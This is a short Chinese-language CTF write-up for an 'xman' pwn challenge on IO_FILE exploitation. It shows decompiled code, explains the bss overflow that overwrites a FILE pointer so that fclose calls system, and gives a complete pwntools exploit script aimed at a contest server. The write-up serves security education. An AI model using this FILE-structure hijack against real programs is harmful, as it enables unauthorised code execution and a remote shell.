##xman-个人排位赛
###pwn-chanllege1-IO_file
链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc
#####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数
######先拖入ida:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]
stream = fopen("test.txt", "r");
sub_400950("test.txt", "r");
while ( 1 )
{
while ( 1 )
{
putchar(62);
v4 = sub_4008AF(62LL);
if ( v4 != 1 )
break;
sub_400908();
}
if ( v4 != 2 )
break;
sub_400920();
}
if ( v4 == 3 )
sub_400933();
return 0LL;
}
######这是大概的代码:
函数sub_4008AF:是用来进行输入的一个函数,输入大概有3种
1,2,3
函数sub_400908:是用来get,s这个变量的函数,这个变量很关
键因为他在bss段上且在fd指针之上
函数sub_400920:是用来puts,s这个变量的函数,这个并不是很
关键的函数
函数sub_400933:是一个fclose的一个函数,是一个我们可以发
现漏洞的地方
这就是大概函数的意思!!
######从这个函数的引发出了解题思路:
首先s可以溢出,溢出之后覆盖了fd指针然后再运行fclose进行对
fd指针的调用然后构造system函数
######代码:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
binary = './task_challenge1'
elf = ELF(binary)
libc = elf.libc
#io = process(binary)
io = remote('202.112.51.184',30003)
context.log_level = 'debug'
context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
io.recvuntil('>')
io.sendline('1')
#gdb.attach(io, 'b _IO_new_fclose')
buf_addr = 0x6010C0
system = 0x400897
pay = ((('\0'*0x10+p64(system)+'\0'*70).ljust(0x88,'\0') +\
p64(buf_addr)).ljust(0xd8,'\0')+\
p64(buf_addr)).ljust(0x100,'\0')+\
p64(buf_addr)
io.sendline(pay)
io.recvuntil('>')
io.sendline('3')
io.interactive()